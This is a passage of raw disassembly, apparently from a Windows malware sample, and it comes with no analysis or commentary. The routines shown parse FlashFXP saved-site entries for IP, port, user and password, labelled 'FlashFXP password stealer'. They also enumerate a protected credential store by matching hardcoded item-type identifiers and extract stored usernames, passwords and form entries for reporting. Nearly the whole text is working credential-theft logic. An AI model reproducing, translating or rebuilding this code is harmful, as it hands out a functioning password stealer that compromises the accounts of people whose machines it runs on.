		cmp	[ebp+var_5C8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C52
		mov	eax, [ebp+var_5C8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C52:				; CODE XREF: sub_414A1E+220j
		cmp	[ebp+var_5D8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C7A
		mov	eax, [ebp+var_5D8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C7A:				; CODE XREF: sub_414A1E+248j
		cmp	[ebp+var_5CC], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CA2
		mov	eax, [ebp+var_5CC]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CA2:				; CODE XREF: sub_414A1E+270j
		cmp	[ebp+var_5D4], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CCA
		mov	eax, [ebp+var_5D4]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CCA:				; CODE XREF: sub_414A1E+298j
		and	[ebp+var_4C4], 0
		mov	al, [ebp+var_4C4]
		mov	[ebp+var_3B4], al
		mov	al, [ebp+var_3B4]
		mov	[ebp+var_5C4], al
		mov	al, [ebp+var_5C4]
		mov	[ebp+var_444], al
		mov	al, [ebp+var_444]
		mov	[ebp+var_544], al
		lea	eax, [ebp+var_544]
		push	eax
		push	offset asc_41D2AC ; "[%[^]]]\r\n"
		push	[ebp+var_5D0]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_444]
		push	eax
		push	offset aIp127s	; "\r\nIP=%127s\r\n"
		push	[ebp+var_5C8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_5C4]
		push	eax
		push	offset aPort127s ; "\r\nPort=%127s\r\n"
		push	[ebp+var_5D8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_3B4]
		push	eax
		push	offset aUser127s ; "\r\nUser=%127s\r\n"
		push	[ebp+var_5CC]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		push	offset aPass127s ; "\r\nPass=%127s\r\n"
		push	[ebp+var_5D4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4147E5
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_414DA1
		jmp	loc_414E4B
; ---------------------------------------------------------------------------


loc_414DA1:				; CODE XREF: sub_414A1E+37Cj
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp+var_544]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_3B4]
		push	eax
		push	[ebp+var_334]
		push	offset dword_41D240
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 20h
		mov	eax, [ebp+var_32C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_414E13
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_414EA6
; ---------------------------------------------------------------------------


loc_414E13:				; CODE XREF: sub_414A1E+213j
					; sub_414A1E+22Ej ...
		mov	eax, [ebp+var_184]
		inc	eax
		mov	[ebp+var_184], eax
		mov	eax, [ebp+var_5DC]
		mov	[ebp+var_3B8], eax
		cmp	[ebp+var_3B8], 0
		jnz	short loc_414E37
		jmp	short loc_414E4B
; ---------------------------------------------------------------------------


loc_414E37:				; CODE XREF: sub_414A1E+415j
		mov	eax, [ebp+var_3B8]
		add	eax, 4
		mov	[ebp+var_3B8], eax
		jmp	loc_414BA6
; ---------------------------------------------------------------------------


loc_414E4B:				; CODE XREF: sub_414A1E+37Ej
					; sub_414A1E+417j
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx


loc_414E57:				; CODE XREF: sub_414A1E:loc_414EA6j
		mov	al, [ebp+var_330]
		mov	[ebp+var_190], al
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_184]
		push	[ebp+var_334]
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D204
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_414E96:				; CODE XREF: sub_414A1E:loc_414EA8j
					; sub_414A1E:loc_414EAAj
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_414EAC
; ---------------------------------------------------------------------------


loc_414EA6:				; CODE XREF: sub_414A1E+3F0j
		jmp	short loc_414E57
; ---------------------------------------------------------------------------


loc_414EA8:				; CODE XREF: sub_414A1E+140j
		jmp	short loc_414E96
; ---------------------------------------------------------------------------


loc_414EAA:				; CODE XREF: sub_414A1E+ACj
		jmp	short loc_414E96
; ---------------------------------------------------------------------------

locret_414EAC:				; CODE XREF: sub_414A1E+48j
					; sub_414A1E+486j
		leave
		retn	4
sub_414A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EB0	proc near		; CODE XREF: sub_40A9CF+769p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414ECA
		jmp	short locret_414EF2
; ---------------------------------------------------------------------------


loc_414ECA:				; CODE XREF: sub_414EB0+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFlashfxpPasswo ; "FlashFXP password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414A1E
		call	sub_4095A4
		add	esp, 10h

locret_414EF2:				; CODE XREF: sub_414EB0+18j
		leave
		retn
sub_414EB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EF4	proc near		; DATA XREF: sub_415AF0+40o
		mov	eax, offset loc_416FDD
		call	sub_416E10
		sub	esp, 0FFCh
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0BF0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		and	dword ptr [ebp-0A00h], 0
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414F4C
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414F4C:				; CODE XREF: sub_414EF4+44j
		and	dword ptr [ebp-0A00h], 0
		push	0
		push	0
		push	0
		lea	eax, [ebp-0A00h]
		push	eax
		call	dword_41DE50
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_414FB2
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD0h], 0
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414FA7
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FA7:				; CODE XREF: sub_414EF4+9Fj
		mov	eax, [ebp-0FD0h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_414FB2:				; CODE XREF: sub_414EF4+7Fj
		and	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_414FCC
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FCC:				; CODE XREF: sub_414EF4+CAj
		and	dword ptr [ebp-10h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_414FE3
		push	80004003h
		call	sub_416E40


loc_414FE3:				; CODE XREF: sub_414EF4+E3j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE0h], eax
		lea	eax, [ebp-10h]
		push	eax
		push	0
		push	0
		mov	eax, [ebp-0FE0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE0h]
		call	dword ptr [eax+38h]
		mov	[ebp-0FDCh], eax
		cmp	dword ptr [ebp-0FDCh], 0
		jge	short loc_41502D
		push	offset dword_41D570
		push	dword ptr [ebp-0FE0h]
		push	dword ptr [ebp-0FDCh]
		call	sub_416E4E


loc_41502D:				; CODE XREF: sub_414EF4+121j
		mov	eax, [ebp-0FDCh]
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_415095
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD4h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_41506B
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41506B:				; CODE XREF: sub_414EF4+169j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_41508A
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41508A:				; CODE XREF: sub_414EF4+182j
		mov	eax, [ebp-0FD4h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_415095:				; CODE XREF: sub_414EF4+14Cj
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D53C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	dword ptr [ebp-214h], 0
		mov	al, [ebp-0A54h]
		mov	[ebp-0A14h], al
		and	byte ptr [ebp-0A54h], 0


loc_4150CB:				; CODE XREF: sub_414EF4:loc_415A54j
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_4150DB
		push	80004003h
		call	sub_416E40


loc_4150DB:				; CODE XREF: sub_414EF4+1DBj
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	1
		mov	eax, [ebp-10h]
		mov	[ebp-1000h], eax
		mov	eax, [ebp-1000h]
		mov	eax, [eax]
		push	dword ptr [ebp-1000h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A59
		mov	eax, [ebp-0BF0h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_415119
		jmp	loc_415A59
; ---------------------------------------------------------------------------


loc_415119:				; CODE XREF: sub_414EF4+21Ej
		sub	esp, 10h
		lea	esi, [ebp-0A10h]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	offset asc_41D538 ; "%x"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 18h
		and	dword ptr [ebp-0DF8h], 0
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415163
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415163:				; CODE XREF: sub_414EF4+25Bj
		and	dword ptr [ebp-0DF8h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41517D
		push	80004003h
		call	sub_416E40


loc_41517D:				; CODE XREF: sub_414EF4+27Dj
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE8h], eax
		lea	eax, [ebp-0DF8h]
		push	eax
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FE8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE8h]
		call	dword ptr [eax+3Ch]
		mov	[ebp-0FE4h], eax
		cmp	dword ptr [ebp-0FE4h], 0
		jge	short loc_4151D1
		push	offset dword_41D570
		push	dword ptr [ebp-0FE8h]
		push	dword ptr [ebp-0FE4h]
		call	sub_416E4E


loc_4151D1:				; CODE XREF: sub_414EF4+2C5j
		mov	eax, [ebp-0FE4h]
		mov	[ebp-0DF4h], eax


loc_4151DD:				; CODE XREF: sub_414EF4:loc_415A30j
		cmp	dword ptr [ebp-0DF8h], 0
		jnz	short loc_4151F0
		push	80004003h
		call	sub_416E40


loc_4151F0:				; CODE XREF: sub_414EF4+2F0j
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		push	1
		mov	eax, [ebp-0DF8h]
		mov	[ebp-1004h], eax
		mov	eax, [ebp-1004h]
		mov	eax, [eax]
		push	dword ptr [ebp-1004h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A35
		and	dword ptr [ebp-0E14h], 0
		mov	byte ptr [ebp-4], 3
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415246
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415246:				; CODE XREF: sub_414EF4+33Ej
		and	dword ptr [ebp-0E14h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_415260
		push	80004003h
		call	sub_416E40


loc_415260:				; CODE XREF: sub_414EF4+360j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF0h], eax
		lea	eax, [ebp-0E14h]
		push	eax
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF0h]
		call	dword ptr [eax+54h]
		mov	[ebp-0FECh], eax
		cmp	dword ptr [ebp-0FECh], 0
		jge	short loc_4152BB
		push	offset dword_41D570
		push	dword ptr [ebp-0FF0h]
		push	dword ptr [ebp-0FECh]
		call	sub_416E4E


loc_4152BB:				; CODE XREF: sub_414EF4+3AFj
		mov	eax, [ebp-0FECh]
		mov	[ebp-0E10h], eax


loc_4152C7:				; CODE XREF: sub_414EF4+B18j
		cmp	dword ptr [ebp-0E14h], 0
		jnz	short loc_4152DA
		push	80004003h
		call	sub_416E40


loc_4152DA:				; CODE XREF: sub_414EF4+3DAj
		push	0
		lea	eax, [ebp-0E0Ch]
		push	eax
		push	1
		mov	eax, [ebp-0E14h]
		mov	[ebp-1008h], eax
		mov	eax, [ebp-1008h]
		mov	eax, [eax]
		push	dword ptr [ebp-1008h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A11
		push	dword ptr [ebp-0E0Ch]
		push	offset aWs	; "%ws"
		lea	eax, [ebp-210h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch
		and	dword ptr [ebp-0E18h], 0
		and	dword ptr [ebp-0EE8h], 0
		and	dword ptr [ebp-0EE4h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41534D
		push	80004003h
		call	sub_416E40


loc_41534D:				; CODE XREF: sub_414EF4+44Dj
		mov	eax, [ebp-0E0Ch]


loc_415353:				; DATA XREF: .data:off_419100o
		mov	[ebp-0FFCh], eax
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF8h], eax
		push	0
		push	dword ptr [ebp-0EE4h]
		lea	eax, [ebp-0EE8h]
		push	eax
		lea	eax, [ebp-0E18h]
		push	eax
		push	dword ptr [ebp-0FFCh]
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF8h]
		call	dword ptr [eax+44h]
		mov	[ebp-0FF4h], eax
		cmp	dword ptr [ebp-0FF4h], 0
		jge	short loc_4153C7
		push	offset dword_41D570
		push	dword ptr [ebp-0FF8h]
		push	dword ptr [ebp-0FF4h]
		call	sub_416E4E


loc_4153C7:				; CODE XREF: sub_414EF4+4BBj
		mov	eax, [ebp-0FF4h]
		mov	[ebp-0E10h], eax
		push	dword ptr [ebp-0EE8h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-0E18h]
		dec	ecx
		cmp	eax, ecx
		jnb	loc_415477
		and	dword ptr [ebp-0EECh], 0
		and	dword ptr [ebp-0EF0h], 0
		jmp	short loc_41540C
; ---------------------------------------------------------------------------


loc_4153FE:				; CODE XREF: sub_414EF4+571j
		mov	eax, [ebp-0EF0h]
		inc	eax
		inc	eax
		mov	[ebp-0EF0h], eax


loc_41540C:				; CODE XREF: sub_414EF4+508j
		mov	eax, [ebp-0EF0h]
		cmp	eax, [ebp-0E18h]
		jnb	short loc_415467
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41543D
		mov	eax, [ebp-0EECh]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		jmp	short loc_415458
; ---------------------------------------------------------------------------


loc_41543D:				; CODE XREF: sub_414EF4+537j
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		mov	ecx, [ebp-0EECh]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al


loc_415458:				; CODE XREF: sub_414EF4+547j
		mov	eax, [ebp-0EECh]
		inc	eax
		mov	[ebp-0EECh], eax
		jmp	short loc_4153FE
; ---------------------------------------------------------------------------


loc_415467:				; CODE XREF: sub_414EF4+524j
		mov	eax, [ebp-0EECh]
		and	byte ptr [ebp+eax-9FDh], 0
		jmp	short loc_415492
; ---------------------------------------------------------------------------


loc_415477:				; CODE XREF: sub_414EF4+4F4j
		push	dword ptr [ebp-0EE8h]
		push	offset dword_418B64
		lea	eax, [ebp-9FCh]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch


loc_415492:				; CODE XREF: sub_414EF4+581j
		push	offset byte_41DE00
		lea	eax, [ebp-7FCh]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset byte_41DE00
		lea	eax, [ebp-0DF0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset a220d5cc1 ; "220d5cc1"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	short loc_41550C
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41550C
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D4E8
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41550C:				; CODE XREF: sub_414EF4+5D6j
					; sub_414EF4+5EEj
		push	offset a5e7e8100 ; "5e7e8100"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_4155CE
		push	offset byte_41DE00
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415587
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415587:				; CODE XREF: sub_414EF4+659j
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D484
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4155CE:				; CODE XREF: sub_414EF4+62Cj
		push	offset aB9819c52 ; "b9819c52"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_415842
		and	dword ptr [ebp-0FC8h], 0
		mov	dword ptr [ebp-0EFCh], 1
		and	dword ptr [ebp-0FCCh], 0
		jmp	short loc_415610
; ---------------------------------------------------------------------------


loc_415602:				; CODE XREF: sub_414EF4:loc_4156CFj
		mov	eax, [ebp-0FCCh]
		inc	eax
		inc	eax
		mov	[ebp-0FCCh], eax


loc_415610:				; CODE XREF: sub_414EF4+70Cj
		mov	eax, [ebp-0FCCh]
		cmp	eax, [ebp-0E18h]
		jnb	loc_4156D4
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_415652
		mov	eax, [ebp-0FC8h]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax
		jmp	short loc_4156CF
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_414EF4+73Fj
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	al, [eax]
		push	eax
		call	dword_4171DC	; IsCharAlphaNumericA
		test	eax, eax
		jnz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 40h
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Fh
		jnz	short loc_4156CF


loc_4156A7:				; CODE XREF: sub_414EF4+775j
					; sub_414EF4+789j ...
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	ecx, [ebp-0FC8h]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax


loc_4156CF:				; CODE XREF: sub_414EF4+75Cj
					; sub_414EF4+7B1j
		jmp	loc_415602
; ---------------------------------------------------------------------------


loc_4156D4:				; CODE XREF: sub_414EF4+728j
		mov	eax, [ebp-0FC8h]
		and	byte ptr [ebp+eax-9FDh], 0
		lea	eax, [ebp-9FAh]
		mov	[ebp-0EF4h], eax
		and	dword ptr [ebp-0EF8h], 0
		jmp	short loc_415704
; ---------------------------------------------------------------------------


loc_4156F7:				; CODE XREF: sub_414EF4:loc_41583Dj
		mov	eax, [ebp-0EF8h]
		inc	eax
		mov	[ebp-0EF8h], eax


loc_415704:				; CODE XREF: sub_414EF4+801j
		mov	eax, [ebp-0EE8h]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-0EF8h], eax
		jge	loc_415842
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D474
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41575C
		push	offset dword_41D474
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_41575C:				; CODE XREF: sub_414EF4+850j
		push	offset dword_41D474
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415798
		push	offset dword_41D474
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		inc	eax
		push	eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_4170FC	; lstrcpy


loc_415798:				; CODE XREF: sub_414EF4+87Ej
		push	offset dword_41D474
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4157C5
		push	offset dword_41D474
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_4157C5:				; CODE XREF: sub_414EF4+8B9j
		push	offset dword_41D474
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_41703C	; lstrlen
		lea	eax, [esi+eax+9]
		mov	[ebp-0EF4h], eax
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41583D
		lea	eax, [ebp-0F60h]
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D434
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41583D:				; CODE XREF: sub_414EF4+91Fj
		jmp	loc_4156F7
; ---------------------------------------------------------------------------


loc_415842:				; CODE XREF: sub_414EF4+6EEj
					; sub_414EF4+820j
		push	offset aE161255a ; "e161255a"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_4159E0
		push	offset aStringindex ; "StringIndex"
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4159E0
		push	offset dword_41D414
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4158A4
		push	offset dword_41D414
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_4158A4:				; CODE XREF: sub_414EF4+998j
		push	8
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_417100	; lstrcpyn
		push	offset dword_41D40C
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		push	offset dword_41D404
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_415933
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D3BC
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_415933:				; CODE XREF: sub_414EF4+A15j
		jmp	loc_4159E0
; ---------------------------------------------------------------------------


loc_415938:				; CODE XREF: sub_414EF4+9DBj
					; sub_414EF4+9F2j
		push	offset byte_41DE00
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D474
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415999
		push	offset dword_41D474
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D474
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415999:				; CODE XREF: sub_414EF4+A6Bj
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D360
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4159E0:				; CODE XREF: sub_414EF4+962j
					; sub_414EF4+97Dj ...
		push	200h
		push	0
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	200h
		push	0
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4152C7
; ---------------------------------------------------------------------------


loc_415A11:				; CODE XREF: sub_414EF4+410j
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415A30
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415A30:				; CODE XREF: sub_414EF4+B28j
		jmp	loc_4151DD
; ---------------------------------------------------------------------------


